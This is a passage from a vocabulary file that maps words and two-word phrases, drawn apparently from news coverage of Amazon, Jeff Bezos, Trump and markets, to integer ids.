material": 69170, "prominent economist": 69171, "trial jury": 69172, "personifies": 69173, "allies mean": 69174, "divided congress": 69175, "uncertainty brought": 69176, "emotive": 69177, "opened low": 69178, "schedule bipartisan": 69179, "illustrator": 69180, "ignorant person": 69181, "search ads": 69182, "county judges": 69183, "galvanized": 69184, "sky": 69185, "timestamputc lastmodifiedtext": 69186, "agency players": 69187, "amazon tsla": 69188, "say beto": 69189, "schappert estimates": 69190, "bytes": 69191, "yhoo verizon": 69192, "safety experts": 69193, "peter law": 69194, "cancer dad": 69195, "voters midterms": 69196, "voice stated": 69197, "staff welfare": 69198, "chuck schumer": 69199, "gateway bridge": 69200, "fashioned": 69201, "srcset": 69202, "service amazon": 69203, "xi trade": 69204, "highly knowledgeable": 69205, "composite rebounding": 69206, "newspaper exclusive": 69207, "age corporations": 69208, "embarrassing leaks": 69209, "groups organizations": 69210, "creature ronyism": 69211, "security privacy": 69212, "useem honor": 69213, "campaign dnc": 69214, "vomit": 69215, "writer public": 69216, "update days": 69217, "harsher": 69218, "tax evasion": 69219, "gaining usmca": 69220, "recent daily": 69221, "virtual machine": 69222, "david cicilline": 69223, "sent 020": 69224, "authoritarian regimes": 69225, "t000040342": 69226, "overly soverly": 69227, "held firm": 69228, "uh hmm": 69229, "followed series": 69230, "trump dismissed": 69231, "principal": 69232, "prized asset": 69233, "winning team": 69234, "travelist aaa": 69235, "scale transformations": 69236, "optimize": 69237, "founder divorce": 69238, "unga": 69239, "tariff policies": 69240, "publicly saying": 69241, "tax burden": 69242, "high compressed": 69243, "criminal history": 69244, "right decision": 69245, "boiled": 69246, "2018 siriously": 69247, "tackles hot": 69248, "share indian": 69249, "stimulate economic": 69250, "lewd": 69251, "proposed rule": 69252, "senders": 69253, "stock jointly": 69254, "imira founder": 69255, "ashland": 69256, "google sustained": 69257, "pollutants vaccines": 69258, "news shows": 69259, "marion county": 69260, "proposing job": 69261, "cooperation walter": 69262, "york company": 69263, "reproduced": 69264, "cadwalladr": 69265, "retailer pays": 69266, "zeroes": 69267, "hennessey executive": 69268, "flood insurance": 69269, "exclusive content": 69270, "announces hq": 69271, "second pot": 69272, "toronto won": 69273, "reagan michael": 69274, "amazon bird": 69275, "investigator 2018": 69276, "inc_lock_articleflag": 69277, "government 458": 69278, "carterpage jessicabruder": 69279, "abbreviation": 69280, "zinke foundation": 69281, "bezos chat": 69282, "ecosystem nasdaq": 69283, "similar size": 69284, "publicly exchanged": 69285, "choice hiking": 69286, "adopt new": 69287, "slur": 69288, "smashing": 69289, "journal seattle": 69290, "swipes": 69291, "claims leave": 69292, "beijing belt": 69293, "world greatest": 69294, "awash": 69295, "rm2": 69296, "popular companies": 69297, "plc nyse": 69298, "million 201": 69299, "black female": 69300, "apos grateful": 69301, "predictably": 69302, "angela duckworth": 69303, "equally rich": 69304, "quilombola communities": 69305, "understand just": 69306, "index sank": 69307, "time donation": 69308, "insurance amazon": 69309, "conducts": 69310, "wis new": 69311, "usps officials": 69312, "2015s devaluation": 69313, "procedure does": 69314, "seat blue": 69315, "frank robinson": 69316, "democrats collusion": 69317, "water influences": 69318, "nervousness": 69319, "setting indigenous": 69320, "reporting gripping": 69321, "pricing cuts": 69322, "age affords": 69323, "injury california": 69324, "fast growth": 69325, "attack": 69326, "chain commitments": 69327, "local opposition": 69328, "181001125327 world": 69329, "iphone production": 69330, "experimental": 69331, "recognition regarding": 69332, "trump years": 69333, "mopop": 69334, "bezos face": 69335, "smart people": 69336, "called amazonbasics": 69337, "brutal combination": 69338, "cheese sandwich": 69339, "helped bezos": 69340, "federal poverty": 69341, "online included": 69342, "boosting": 69343, "amazon paused": 69344, "related turns": 69345, "regulator likened": 69346, "entrepreneur philanthropist": 69347, "1970s portrays": 69348, "money markets": 69349, "amazon cooperation": 69350, "derail": 69351, "ingraham deadpanned": 69352, "based alternatives": 69353, "letter writing": 69354, "globe reports": 69355, "headquarters competition": 69356, "corp regained": 69357, "does security": 69358, "website leading": 69359, "000 bags": 69360, "500 fedex": 69361, "cracking open": 69362, "emerge": 69363, "turnstile": 69364, "divisiveness": 69365, "vuelta": 69366, "862": 69367, "va washington": 69368, "misidentified dozens": 69369, "received couple": 69370, "finals gulftimes": 69371, "actually happening": 69372, "check pattern": 69373, "california vetoed": 69374, "doing stuff": 69375, "custody battle": 69376, "better understood": 69377, "cover highlights": 69378, "recently executive": 69379, "enforce trademark": 69380, "civilized": 69381, "transphobic costume": 69382, "relative newcomer": 69383, "kind attitude": 69384, "wawx pic": 69385, "raked": 69386, "journalist maria": 69387, "uniforms": 69388, "attached dreidels": 69389, "computer technicians": 69390, "seth moulton": 69391, "overlord": 69392, "sex abuse": 69393, "semitism resolution": 69394, "party champion": 69395, "rampant consumer": 69396, "melted": 69397, "michelle leclair": 69398, "worse used": 69399, "billion profit": 69400, "buzzfeed new": 69401, "vlad right": 69402, "warren spoke": 69403, "pizza packages": 69404, "long anticipated": 69405, "eqnjgycf32 daniel": 69406, "bomb maker": 69407, "seemingly impossible": 69408, "spend read": 69409, "just modern": 69410, "articles imported": 69411, "rica": 69412, "president long": 69413, "recorded effort": 69414, "joining fema": 69415, "broad license": 69416, "modernizr modernizr": 69417, "kids online": 69418, "develop national": 69419, "big management": 69420, "deserve billions": 69421, "riveting": 69422, "predicted amazon": 69423, "explicitly enshrined": 69424, "kindness chinese": 69425, "hanin marriage": 69426, "lynn director": 69427, "repeated targeted": 69428, "twitter ads": 69429, "pagliano": 69430, "landsberg": 69431, "morning schiff": 69432, "forecasts walmart": 69433, "schedules webcast": 69434, "instead apprentices": 69435, "broken bananah": 69436, "greatest tragedy": 69437, "referencing report": 69438, "says billionaires": 69439, "groene amsterdammer": 69440, "high consumer": 69441, "running feud": 69442, "fall caused": 69443, "shockproof": 69444, "money west": 69445, "orson welles": 69446, "major stress": 69447, "rules favoring": 69448, "morphed": 69449, "segment packages": 69450, "americans claim": 69451, "address calls": 69452, "share amzn": 69453, "entering bear": 69454, "photo romania": 69455, "forget simmering": 69456, "outsize tax": 69457, "retrains": 69458, "fares akram": 69459, "trans equality": 69460, "9477": 69461, "administration approach": 69462, "driving amazon": 69463, "white dancing": 69464, "replenishment allows": 69465, "know right": 69466, "iconic cats": 69467, "investigate handing": 69468, "michaelcohen paulmanafort": 69469, "homeless elderly": 69470, "attending": 69471, "exemplifies": 69472, "irreplaceable": 69473, "officials override": 69474, "notoriously vindictive": 69475, "actor": 69476, "challenges soar": 69477, "stock soars": 69478, "brexit quite": 69479, "brady": 69480, "split family": 69481, "bielamowicz": 69482, "volcker rule": 69483, "paypal execution": 69484, "despite massive": 69485, "shipstation international": 69486, "half way": 69487, "merger partners": 69488, "report alleges": 69489, "latest industry": 69490, "empowerment initiative": 69491, "people appear": 69492, "aboutthe 25th": 69493, "house speaking": 69494, "leonid writes": 69495, "holding market": 69496, "anticompetitive behavior": 69497, "column 1437392": 69498, "karen monahan": 69499, "haruki murakami": 69500, "cvx begin": 69501, "decambre": 69502, "chicago economic": 69503, "hub progressive": 69504, "vital stories": 69505, "journalistic efforts": 69506, "rux": 69507, "interviews alleging": 69508, "gone horribly": 69509, "genetic history": 69510, "surivor source": 69511, "reported struggles": 69512, "straus": 69513, "card approximately": 69514, "teenager chased": 69515, "yardbird hong": 69516, "delivering unequivocally": 69517, "amazon bezos": 69518, "amazon cnn": 69519, "special book": 69520, "sec endorses": 69521, "amazon shelled": 69522, "securing israel": 69523, "balloon overhead": 69524, "ordeal soon": 69525, "military budget": 69526, "signaling different": 69527, "businesses geekwire": 69528, "hold dear": 69529, "salaries commensurate": 69530, "investment banking": 69531, "caption luca": 69532, "chicagotribune": 69533, "guides users": 69534, "treats fans": 69535, "growing world": 69536, "isolated anecdotes": 69537, "announces connect": 69538, "house exclusive": 69539, "pacific press": 69540, "family murder": 69541, "early results": 69542, "recent losses": 69543, "words impeach": 69544, "departmentofficials": 69545, "president nixon": 69546, "west owns": 69547, "cement legacy": 69548, "initially explored": 69549, "new record": 69550, "yucel afp": 69551, "thumping": 69552, "disapproves": 69553, "deeply regret": 69554, "facebook social": 69555, "despite record": 69556, "chinese trade": 69557, "key fusion": 69558, "seattle largest": 69559, "billions usps": 69560, "revenue read": 69561, "dumb bad": 69562, "sponsors amazon": 69563, "habitat range": 69564, "words american": 69565, "flex delivery": 69566, "year cnbc": 69567, "says celine": 69568, "media concerns": 69569, "key strategic": 69570, "processing transaction": 69571, "rttnews": 69572, "diversity policies": 69573, "lampert hedge": 69574, "reimposed": 69575, "past ami": 69576, "seeing single": 69577, "sanders really": 69578, "customer solution": 69579, "social environmental": 69580, "article doyle": 69581, "tabloid signed": 69582, "tester democrat": 69583, "vetting": 69584, "zeros": 69585, "danilposh": 69586, "\u0142122": 69587, "just ruled": 69588, "making trump": 69589, "message version": 69590, "commercial drones": 69591, "griffeth north": 69592, "valuable tech": 69593, "indiana": 69594, "interrupts": 69595, "trump voters": 69596, "marko": 69597, "recall large": 69598, "employees start": 69599, "elena determined": 69600, "amazon q3": 69601, "democrats chose": 69602, "news townhall": 69603, "advertisers greer": 69604, "strategy means": 69605, "journalists washington": 69606, "inc_image_caption_override null": 69607, "lost": 69608, "militant": 69609, "read monitor": 69610, "reporting billion": 69611, "danger billionaire": 69612, "amazon mantra": 69613, "kedis": 69614, "innocuous": 69615, "engine started": 69616, "pre release": 69617, "host domain": 69618, "report argues": 69619, "woman teeth": 69620, "goldman": 69621, "boy doesn": 69622, "splitting amicably": 69623, "eu accused": 69624, "republican fixer": 69625, "partner delivery": 69626, "rebound 2018": 69627, "products apparel": 69628, "word abortion": 69629, "visiting australia": 69630, "previous records": 69631, "president euro": 69632, "americans house": 69633, "william morris": 69634, "phones embody": 69635, "audiobook told": 69636, "putin mccain": 69637, "disagree financial": 69638, "nonrecycled": 69639, "appointed heads": 69640, "protocol document": 69641, "wapo reports": 69642, "mortgage originators": 69643, "tell negative": 69644, "gibbs research": 69645, "bold build": 69646, "social progress": 69647, "faces significant": 69648, "agency case": 69649, "evaristo": 69650, "widely available": 69651, "consider pursuing": 69652, "sun trump": 69653, "metro reporter": 69654, "good wife": 69655, "timestampdisplay timestamputc": 69656, "cell lines": 69657, "positive experience": 69658, "desmond hellman": 69659, "blastedcnn": 69660, "costco belongs": 69661, "helon": 69662, "global revenue": 69663, "staunchly denied": 69664, "amid repeated": 69665, "begin videotape": 69666, "expectations set": 69667, "ske amazon": 69668, "continued economic": 69669, "habla ingles": 69670, "sauces": 69671, "practices margrethe": 69672, "extremist views": 69673, "bolton mike": 69674, "age man": 69675, "google weighing": 69676, "writes tara": 69677, "unexpected supporter": 69678, "president trumpkim": 69679, "holmgren": 69680, "j8 data": 69681, "decision applauded": 69682, "warned elected": 69683, "brown people": 69684, "carl davis": 69685, "smoke poor": 69686, "figures designed": 69687, "drug testing": 69688, "approximately flat": 69689, "comfortable summer": 69690, "men carry": 69691, "sloppy": 69692, "trends small": 69693, "amazon brazen": 69694, "antitrust sanctions": 69695, "potted plant": 69696, "buy buy": 69697, "anchor hughes": 69698, "improve urban": 69699, "quote comfortable": 69700, "paint stunning": 69701, "secret tv": 69702, "permian basin": 69703, "largest economic": 69704, "share service": 69705, "soiling america": 69706, "guidance suggests": 69707, "virginia cyberx": 69708, "wsj british": 69709, "exactly surprise": 69710, "big mystery": 69711, "witnessing game": 69712, "congress votes": 69713, "republican strategists": 69714, "considering taking": 69715, "extensive information": 69716, "quarter surged": 69717, "larger economy": 69718, "trump joke": 69719, "extreme focus": 69720, "transportation costs": 69721, "adviser lina": 69722, "dry procedural": 69723, "steadily": 69724, "possible effect": 69725, "overall business": 69726, "uksmallbizrt rt": 69727, "online outlets": 69728, "regular segment": 69729, "portrays": 69730, "underpin prices": 69731, "progress current": 69732, "instruments nyse": 69733, "higher minimum": 69734, "usually vent": 69735, "aggravation": 69736, "accomplishments": 69737, "trump hard": 69738, "anonymity": 69739, "active customers": 69740, "unconvincingly": 69741, "mile issue": 69742, "frisch": 69743, "chatham": 69744, "school learn": 69745, "month companies": 69746, "industry bezos": 69747, "large discrepancies": 69748, "sector package": 69749, "queens currently": 69750, "romero": 69751, "stacey": 69752, "considerably cheaper": 69753, "deloitte report": 69754, "newspaper thanks": 69755, "quality images": 69756, "world thanks": 69757, "getting broken": 69758, "446 bezos": 69759, "hyderabad": 69760, "preparations": 69761, "colleague bid": 69762, "amzn slipping": 69763, "geographic elephant": 69764, "educators": 69765, "hathaway bought": 69766, "president did": 69767, "revolution": 69768, "courting washington": 69769, "company apple": 69770, "wing narrative": 69771, "1973 pic": 69772, "reporter jim": 69773, "company issues": 69774, "w9x function": 69775, "seriously think": 69776, "wires crisscrossing": 69777, "charged just": 69778, "ratified": 69779, "governor received": 69780, "composer inspired": 69781, "specialized high": 69782, "euphemistically": 69783, "overseeing failed": 69784, "raps critics": 69785, "great kindness": 69786, "paid playmate": 69787, "jocks": 69788, "dwayne johnson": 69789, "intelligence growth": 69790, "indices tumbled": 69791, "list sold": 69792, "reelection despite": 69793, "nazi": 69794, "answer yes": 69795, "open enforcement": 69796, "face interactions": 69797, "asos castro": 69798, "flag flying": 69799, "provision allowing": 69800, "white people": 69801, "mccaul texas": 69802, "amazon tax": 69803, "technicians": 69804, "jobs andrew": 69805, "mckinley irvin": 69806, "scouts police": 69807, "drinks appetizers": 69808, "runs tuesdays": 69809, "expansion president": 69810, "startup businesses": 69811, "dingell": 69812, "largest internet": 69813, "tariffs brexit": 69814, "campaign adviser": 69815, "grammys drama": 69816, "finding bargain": 69817, "making power": 69818, "berman predecessor": 69819, "fiscal fate": 69820, "skinnier businessman": 69821, "donnell senator": 69822, "katranides webster": 69823, "moneymaking schemes": 69824, "biased surveillance": 69825, "dropping project": 69826, "heavy hitters": 69827, "twitter demands": 69828, "essentials spare": 69829, "ongoing problem": 69830, "normally used": 69831, "highlights moderator": 69832, "0817et": 69833, "today sign": 69834, "toronto wasn": 69835, "better advice": 69836, "tall__head length": 69837, "convenience": 69838, "wrong surely": 69839, "music awards": 69840, "word amazon": 69841, "reproductive oasis": 69842, "louisiana sporting": 69843, "w0": 69844, "major platform": 69845, "puts enquirer": 69846, "300m bi": 69847, "born2invest": 69848, "memorial day": 69849, "republique square": 69850, "weekend carrell": 69851, "stronger voice": 69852, "perfect public": 69853, "appropriation": 69854, "admittedly link": 69855, "2017 total": 69856, "ken catalino": 69857, "jnqzosonfn": 69858, "important business": 69859, "decambre 415": 69860, "annual regulatory": 69861, "doubling": 69862, "commercial program": 69863, "climate agreement": 69864, "announced willy": 69865, "delivered faster": 69866, "quietly hiring": 69867, "companies accesswire": 69868, "noosed": 69869, "operators ran": 69870, "create distraction": 69871, "guy ratings": 69872, "state economic": 69873, "reporting based": 69874, "latest crop": 69875, "nathanpeterson": 69876, "community economy": 69877, "effect india": 69878, "stifles competition": 69879, "business review": 69880, "markets futures": 69881, "breathtakingly": 69882, "webber": 69883, "boy falsely": 69884, "postcards mail": 69885, "memoir arrives": 69886, "chaffetz congressional": 69887, "neutrality repeal": 69888, "regulatory crackdown": 69889, "stood european": 69890, "requirements designed": 69891, "case highlights": 69892, "oasas": 69893, "sanskrit": 69894, "economic scales": 69895, "addition jedi": 69896, "eu preliminary": 69897, "holt": 69898, "stores augment": 69899, "fy18 respectively": 69900, "wharton school": 69901, "reeks": 69902, "survey respondents": 69903, "publish barack": 69904, "ment ami": 69905, "boss david": 69906, "power postal": 69907, "enquirer executives": 69908, "01pm national": 69909, "background gags": 69910, "cream givenchy": 69911, "dandelions": 69912, "backlash hawaii": 69913, "stop facebook": 69914, "orbital": 69915, "european immigrants": 69916, "sealed deal": 69917, "unique challenges": 69918, "really going": 69919, "dangerously radical": 69920, "share similarities": 69921, "life living": 69922, "criticised nbc": 69923, "correspondence created": 69924, "ecommerce business": 69925, "free global": 69926, "photos amazon": 69927, "mashable": 69928, "signs just": 69929, "profile adversaries": 69930, "story supercharged": 69931, "aim\u00e9 nintendo": 69932, "bastard": 69933, "amazon commitments": 69934, "distilled": 69935, "political acts": 69936, "ahead just": 69937, "hench stock": 69938, "ancestral": 69939, "appealing flavors": 69940, "vegan plant": 69941, "university press": 69942, "route": 69943, "178bn": 69944, "complaint alleged": 69945, "qualifies": 69946, "adopt student": 69947, "gates fortune": 69948, "school aid": 69949, "promoting discount": 69950, "reston va": 69951, "hsbc customer": 69952, "samaritans fortnite": 69953, "spicer mocked": 69954, "nangs johnsons": 69955, "solomon saltsman": 69956, "unfair assessment": 69957, "nappily": 69958, "dumbed": 69959, "icky bedfellows": 69960, "nondisclosure": 69961, "stephon clark": 69962, "bound father": 69963, "book just": 69964, "help patient": 69965, "google systematically": 69966, "street closes": 69967, "elections iran": 69968, "918": 69969, "intractable problem": 69970, "basketball game": 69971, "obvious tax": 69972, "employees responded": 69973, "doorbell": 69974, "cracker barrel": 69975, "consensus estimates": 69976, "kelly tm": 69977, "bulbous eyes": 69978, "strong transparency": 69979, "long used": 69980, "topics commenters": 69981, "nashville facility": 69982, "successful community": 69983, "loaned close": 69984, "society amazon": 69985, "congress convenes": 69986, "34007608504 home": 69987, "137billion 108billion": 69988, "dod massive": 69989, "business bobbie": 69990, "alongside carl": 69991, "sanchez stay": 69992, "told natural": 69993, "announcements john": 69994, "portfolio stifel": 69995, "quiet weird": 69996, "le": 69997, "cityswitch": 69998, "videocardcontents sourcename": 69999, "bolsters netanyahu": 70000, "border bolster": 70001, "europe inc_filelocation": 70002, "new consumer": 70003, "american taxpayers": 70004, "alison lenert": 70005, "wall christian": 70006, "grahams": 70007, "truly work": 70008, "latest budget": 70009, "hearing virginia": 70010, "seizing funding": 70011, "send trump": 70012, "hathaway": 70013, "island based": 70014, "news legal": 70015, "sudden decision": 70016, "teachers strikes": 70017, "york chaos": 70018, "james harrigan": 70019, "positive takeaways": 70020, "contains life": 70021, "shoe line": 70022, "fidelity blackrock": 70023, "schultz member": 70024, "cueing": 70025, "trading news": 70026, "tweetstorm trump": 70027, "insurgency": 70028, "decals nbc": 70029, "acts": 70030, "visits": 70031, "secret gop": 70032, "lemon pie": 70033, "crime scene": 70034, "complexion": 70035, "pettypiece": 70036, "cuomo state": 70037, "streaming news": 70038, "strong regulatory": 70039, "holistic strategies": 70040, "data sets": 70041, "reporting fake": 70042, "habla": 70043, "daca illegals": 70044, "selfie playground": 70045, "major highlight": 70046, "violence according": 70047, "guest post": 70048, "station travel": 70049, "wraith": 70050, "cnl_custom_color 009cd8": 70051, "bringing jobs": 70052, "500 hits": 70053, "common megan": 70054, "home town": 70055, "miller lewis": 70056, "opposition research": 70057, "liberal approval": 70058, "law getting": 70059, "isa": 70060, "facing increased": 70061, "enroll": 70062, "amazon holiday": 70063, "eprivacy regulation": 70064, "average amazon": 70065, "development engineer": 70066, "addresses liz": 70067, "head richard": 70068, "mediocre mother": 70069, "mattis met": 70070, "included dark": 70071, "voluntary early": 70072, "scholarship bezos": 70073, "germany bdi": 70074, "large corporation": 70075, "statement continued": 70076, "offset monetary": 70077, "fakenewsmedia": 70078, "townsfolk": 70079, "settlement payout": 70080, "instead used": 70081, "knopf ny": 70082, "improving profitability": 70083, "women act": 70084, "leads rocket": 70085, "eu institutions": 70086, "document companies": 70087, "plus member": 70088, "warehouse worker": 70089, "led senate": 70090, "helpful": 70091, "global rainforests": 70092, "enquire pointing": 70093, "amazon initiative": 70094, "valuation allowances": 70095, "wmt market": 70096, "longtime clinton": 70097, "stanley hiked": 70098, "headlinepretext": 70099, "forward swaying": 70100, "office sold": 70101, "choice amazon": 70102, "month newsdesk": 70103, "benefits maybe": 70104, "trump wonders": 70105, "questions thati": 70106, "wealthy men": 70107, "jointly managed": 70108, "big national": 70109, "tabloid acknowledged": 70110, "diverse relationships": 70111, "fourth annual": 70112, "close compared": 70113, "fed dovish": 70114, "blends amazon": 70115, "probably expect": 70116, "techcrunch dot": 70117, "prefunded": 70118, "amazon community": 70119, "win repealing": 70120, "walton": 70121, "119": 70122, "america democrats": 70123, "summit vatican": 70124, "600 student": 70125, "org opportunityzones": 70126, "watermelon normally": 70127, "longtime strategist": 70128, "juices": 70129, "playboy playmate": 70130, "act 3876": 70131, "hosting": 70132, "epicenter": 70133, "spells heart": 70134, "problematic garofolo": 70135, "personal twitter": 70136, "airlines emergency": 70137, "unfairly jennifer": 70138, "near birmingham": 70139, "scrutiny thomas": 70140, "law uber": 70141, "competitors khan": 70142, "toddler ice": 70143, "500 overall": 70144, "bluefly bluefly": 70145, "combined mackey": 70146, "stop officials": 70147, "karl marx": 70148, "center worker": 70149, "profit according": 70150, "released treasure": 70151, "onewest operation": 70152, "amid opposition": 70153, "express significant": 70154, "elijah cummings": 70155, "nancy met": 70156, "despite sending": 70157, "includes commitments": 70158, "trump vision": 70159, "hardly reflects": 70160, "gilroy nightcrawler": 70161, "yes trump": 70162, "repeated target": 70163, "foreseeable": 70164, "talkshow": 70165, "does chicago": 70166, "workhorse": 70167, "court decision": 70168, "museum": 70169, "site promotions": 70170, "act congresswoman": 70171, "renovated": 70172, "8781": 70173, "intently focus": 70174, "avoided charging": 70175, "challenge government": 70176, "thecity nyc": 70177, "beneficiant": 70178, "site located": 70179, "gov raps": 70180, "impressed amazon": 70181, "matches read": 70182, "afford home": 70183, "journal finding": 70184, "hanya yanagihara": 70185, "prolonged": 70186, "kjzz": 70187, "estate record": 70188, "products aimed": 70189, "mentions amazon": 70190, "ultimately": 70191, "mistreated workers": 70192, "pointing amazon": 70193, "ambitions": 70194, "central business": 70195, "retailers nathaniel": 70196, "marxist organization": 70197, "future look": 70198, "play robert": 70199, "snap benefits": 70200, "fourth time": 70201, "called mailbox": 70202, "realistic options": 70203, "personable tweets": 70204, "amazon store": 70205, "group unemployment": 70206, "inexcusable privacy": 70207, "law brings": 70208, "curtails": 70209, "unlike paypal": 70210, "article praising": 70211, "toby life": 70212, "gm gm": 70213, "categories business": 70214, "biggest prime": 70215, "better mousetrap": 70216, "attacked broward": 70217, "californian company": 70218, "rising sea": 70219, "yes personification": 70220, "larger impact": 70221, "purpose vice": 70222, "nafta just": 70223, "oscars spike": 70224, "profitable markets": 70225, "china girl": 70226, "demonic": 70227, "indian reservations": 70228, "amazon channel": 70229, "post kullgren": 70230, "know bartiromo": 70231, "danielle told": 70232, "needed delivered": 70233, "creating thousands": 70234, "g0 a4ee": 70235, "tabloid rag": 70236, "470 shares": 70237, "work working": 70238, "mexico city": 70239, "seabreeze": 70240, "improvement costs": 70241, "amazon jeffbezos": 70242, "adopting cloud": 70243, "heavily pro": 70244, "organization official": 70245, "president kurtz": 70246, "freelance writers": 70247, "control just": 70248, "engagement seminars": 70249, "citing preexisting": 70250, "sent registration": 70251, "page memo": 70252, "earnings gardner": 70253, "pre": 70254, "siegel national": 70255, "multi decade": 70256, "president continues": 70257, "month discouraging": 70258, "don understand": 70259, "workers interviewed": 70260, "perkins coie": 70261, "additional investments": 70262, "roaming": 70263, "network freezes": 70264, "counties wants": 70265, "dies republican": 70266, "quarter devastating": 70267, "globe unlimited": 70268, "tweeting easier": 70269, "standalone service": 70270, "researcher geoff": 70271, "general decided": 70272, "local residents": 70273, "biotechnologies": 70274, "trump threatened": 70275, "d6 content": 70276, "trump represents": 70277, "lord taylor": 70278, "general data": 70279, "future economic": 70280, "rail car": 70281, "purchase counterfeit": 70282, "example haverty": 70283, "slurs pop": 70284, "administration colleagues": 70285, "ahead tony": 70286, "traumatizing": 70287, "traditional american": 70288, "deductions": 70289, "way insiders": 70290, "servant": 70291, "\u01422 29billion": 70292, "antarctica baby": 70293, "pizza shop": 70294, "excellent": 70295, "businesses construction": 70296, "steals american": 70297, "schmid health": 70298, "launch medical": 70299, "communal cloud": 70300, "sizable presence": 70301, "greatly enhanced": 70302, "sadler remark": 70303, "500 registration": 70304, "expanse": 70305, "totalitarian society": 70306, "comments kyle": 70307, "includes free": 70308, "sizable numbers": 70309, "sanders shout": 70310, "short near": 70311, "mayoral control": 70312, "workers rising": 70313, "2017 foxconn": 70314, "boston ma": 70315, "new requirements": 70316, "trump singles": 70317, "metaphor": 70318, "unlimited": 70319, "did want": 70320, "international mail": 70321, "company postal": 70322, "states massive": 70323, "relief funding": 70324, "current finalists": 70325, "second longest": 70326, "pussy": 70327, "freedom read": 70328, "vision grit": 70329, "state taxes": 70330, "poppins": 70331, "regarding prison": 70332, "nestled": 70333, "healthy recipes": 70334, "roads kingdoms": 70335, "initiatives congestion": 70336, "twitter did": 70337, "plante rightly": 70338, "wp content": 70339, "shaped cutouts": 70340, "pbm dow": 70341, "flashpoint washington": 70342, "ocasio cortezthat": 70343, "began shouting": 70344, "sourceflickr": 70345, "affair wish": 70346, "agency communication": 70347, "laugh basically": 70348, "600 points": 70349, "rock named": 70350, "political motivations": 70351, "amazon commercial": 70352, "local judge": 70353, "lies ahead": 70354, "contributor markets": 70355, "480 million": 70356, "retail value": 70357, "series tells": 70358, "belt america": 70359, "amazon control": 70360, "300 billion": 70361, "personal bank": 70362, "people win": 70363, "vast investigationacross": 70364, "343 shares": 70365, "based freedom": 70366, "president russell": 70367, "france gangster": 70368, "challenges regularly": 70369, "tommy hilfiger": 70370, "consulted los": 70371, "publisher hachette": 70372, "congressional staffer": 70373, "sister lauren": 70374, "protocol": 70375, "airlines southwest": 70376, "987 7207": 70377, "winning jedi": 70378, "greenjob won": 70379, "billion rm217": 70380, "headquarters specifically": 70381, "34th": 70382, "measly 338": 70383, "draws parallels": 70384, "local communities": 70385, "left vying": 70386, "synchronous retaliation": 70387, "despite lots": 70388, "administration recently": 70389, "crystal clear": 70390, "interview notyet": 70391, "donor peter": 70392, "firm web": 70393, "agency deference": 70394, "croatia": 70395, "modern postal": 70396, "biggest defenders": 70397, "tawdry claim": 70398, "trump proclamations": 70399, "templates": 70400, "sadler": 70401, "martin song": 70402, "suite benzinga": 70403, "firm mckinsey": 70404, "honor donald": 70405, "lists ami": 70406, "hilton called": 70407, "company owns": 70408, "adam sharp": 70409, "briandalynj": 70410, "senate lead": 70411, "evil fascism": 70412, "trump immediately": 70413, "living personal": 70414, "levels false": 70415, "soderstrom": 70416, "altogether lasser": 70417, "taking google": 70418, "loss record": 70419, "rays": 70420, "year bringing": 70421, "story ebay": 70422, "nazi group": 70423, "truth abramowitz": 70424, "dinner table": 70425, "sacha": 70426, "business counterfeiting": 70427, "public bidding": 70428, "running scared": 70429, "review proposes": 70430, "seltzer amazon": 70431, "story amd": 70432, "guests include": 70433, "currently banned": 70434, "marketplace including": 70435, "newman book": 70436, "trump expanded": 70437, "state editor": 70438, "foot building": 70439, "internet cafes": 70440, "house philip": 70441, "various software": 70442, "low priority": 70443, "quickly bounced": 70444, "writers know": 70445, "l5e": 70446, "injured bus": 70447, "styles varieties": 70448, "sanchez really": 70449, "siena college": 70450, "elizabeth meriwether": 70451, "nature eventually": 70452, "tim brown": 70453, "khashoggi life": 70454, "today sources": 70455, "stardom continue": 70456, "photos switzerland": 70457, "murdoch threatened": 70458, "entrenched merchants": 70459, "bezos congratulating": 70460, "presidential field": 70461, "false reports": 70462, "subpoena mueller": 70463, "7636": 70464, "equity group": 70465, "islands gop": 70466, "courier companies": 70467, "remove fake": 70468, "cell line": 70469, "despite evidence": 70470, "counterattacks": 70471, "durkan": 70472, "penis": 70473, "credited commerce": 70474, "pain heartbreaking": 70475, "sandwich": 70476, "interrupts biden": 70477, "infeasible": 70478, "offering black": 70479, "delivery cnbc": 70480, "payer reserve": 70481, "cancels": 70482, "murdered preteen": 70483, "particularly lucrative": 70484, "wolff tucker": 70485, "million daily": 70486, "evening trump": 70487, "amazon economic": 70488, "spanish origin": 70489, "ttery": 70490, "ellipsis": 70491, "rashida": 70492, "mccain hats": 70493, "hours deputy": 70494, "china avoid": 70495, "expectations presumably": 70496, "trump john": 70497, "material hack": 70498, "extreme poirer": 70499, "post wedding": 70500, "labor statistics": 70501, "facebook password": 70502, "immortalized": 70503, "people stand": 70504, "rogue memoir": 70505, "loud racism": 70506, "cuban officials": 70507, "blackmail": 70508, "tech figures": 70509, "crookedhillary according": 70510, "canals near": 70511, "voting trends": 70512, "retail rivals": 70513, "tornadoes community": 70514, "today vote": 70515, "respecting": 70516, "author howie": 70517, "post condemning": 70518, "mega stock": 70519, "restraints needed": 70520, "makers paul": 70521, "poll results": 70522, "yvonne": 70523, "fraternal": 70524, "women stockpile": 70525, "fintechs offering": 70526, "behaviours": 70527, "agencies modernize": 70528, "allegedly separated": 70529, "private groups": 70530, "lose access": 70531, "amazon practices": 70532, "cured": 70533, "banks trims": 70534, "astoria residents": 70535, "reactid 166": 70536, "clarkin4": 70537, "publicly doubting": 70538, "report things": 70539, "777": 70540, "fevered": 70541, "available levers": 70542, "biotherapeutics": 70543, "receives": 70544, "nonmainstream": 70545, "trumps news": 70546, "autoplay": 70547, "romm reports": 70548, "enhanced": 70549, "state incentive": 70550, "york virginia": 70551, "latest heartbreaking": 70552, "big wave": 70553, "infiltrating cleaning": 70554, "fiber": 70555, "withering": 70556, "grounds says": 70557, "computing government": 70558, "president opinions": 70559, "adversely affect": 70560, "earlier today": 70561, "subscription program": 70562, "worded tweet": 70563, "tools small": 70564, "echo home": 70565, "committee awaits": 70566, "suffering wife": 70567, "mcdonald walmart": 70568, "salke finds": 70569, "eve newfoundland": 70570, "military writing": 70571, "absent incentives": 70572, "carlos brito": 70573, "pig cell": 70574, "media company": 70575, "innovation artificial": 70576, "despising jeff": 70577, "pen international": 70578, "government punishing": 70579, "national donut": 70580, "therapies": 70581, "ingredient": 70582, "controversy michigan": 70583, "regularly railed": 70584, "doesn raise": 70585, "img_pan_crop": 70586, "pro zach": 70587, "carell latest": 70588, "france trump": 70589, "498": 70590, "promise wage": 70591, "democratic congressman": 70592, "possible commissioners": 70593, "today nov": 70594, "intelligence agency": 70595, "korea leave": 70596, "good behavior": 